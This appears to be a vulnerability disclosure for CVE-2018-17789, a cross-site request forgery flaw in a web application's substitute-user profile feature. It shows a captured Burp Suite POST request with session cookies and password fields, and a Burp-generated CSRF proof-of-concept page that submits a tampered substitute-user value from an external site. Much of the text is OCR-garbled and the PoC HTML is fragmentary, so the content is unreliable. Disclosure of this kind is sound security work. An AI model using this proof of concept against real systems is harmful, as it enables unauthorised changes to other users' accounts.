CSRF: CVE-2018-17789

Step 1: Application profile page with substitute user functionality.
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Step 2: Original request for submission of substitute user
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Burp Intruder Repeater Window Help

Target | P | Spider | Scanner | intruder | Repeater T Sequencer T Decoder T Comparer T Extender T Project options. TUsar options | Alerts

J intercept T HTTP history TWE[‘ISDCKEQS history | Options
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Forward Drop | intsrcsptis on | Action

Raw | Params | Headers | Hex

POST fl"l'DEISF/PerllEE,:lD?actlnn:nn&‘avesuhUszz&tuhUsEr:lCSQS&aitlvazfalszsszabe:El—D:! D176toDate=31-03-2010&bask=false HITP/1 L
Host

Content-Length: 112§

Cache-Control: max-age=0

Accept: texe/html avnlication/xhtnlézml,applicacion/wxml;q=0.9, image/webp,*/*;q=
Origin: 8080

Upgrade-Insecurs-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT &.1; Wing4d; x64) AppleWebKit/§37.36 (KHTML, like Geclo) Chrome/45.0
Content-Type: multipart/form-data; houndar it g

Referer: http:
Accept-Language: en-US,en;q=0.8

Cookie: JSESSIONID=n2ecNiShinfidK3ShLpPuB5z; DURSESSIONTD=UNrfpbflfy(2*GhelubCHAFruDGL
Connecticn: close

3.75 Safari/537.36

SF/Profile3. do?action=onloadiprofile=yesiold=yes

—————— WebKitFormBoundaryDIKE giyakoDE5hGE
Content-Disposition: form-data; name="oldpwd'

—————— WebKitFormBoundaryDIKE giyakoDE5hGE
Content-Disposition: form-data; names"pwd"
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Content-Disposition: form-data; name="RePass"
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Content-Disposition: form-data; name="forgetQuesOption”
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Content -Disposition: form-data; names="selsctedFins"
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Step 3: Source code for external web page that is not part of the application with tampered value
got submitted
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B CLICKJACKING.HTML i3 Elaahtml m}
1 <ntml>
2 <1-— CSRF PoC - generated by Burp Suite Professional —->
3 <body>
4 <script>history.pushState('', '', '/')</script>
5 =l i /MDOSF/Profile3.do?action=onSaveSubUserisubUser$CSRF Testl2345&active=false&stDate=31-03-2017&toDate=31-03-20
& ir 3 i "EHL3:" />

8 &#13:" />
9 value="&#13:" />
10 &#13:" />
11 I
sb&#95 ;user" v 12345" />

314&#45;03&#45;2017" />
'31&#45;03&#45;2018" />

St&#95;dateLiss  frm"
St&#95;dateL#95; to"

me="objectIdforDefault" value="&#13;" />
<input e="hidden" name="state" value="&#13;" />
<input ="submit" v ="Submit request" />
r </ form>
- </body>
—</html>
] m v
Hyper Text Markup Language file 156 lines:21 Ln:5 Col:100 Sel:0]0 Windows (CRLF)  UTF-8 QVR
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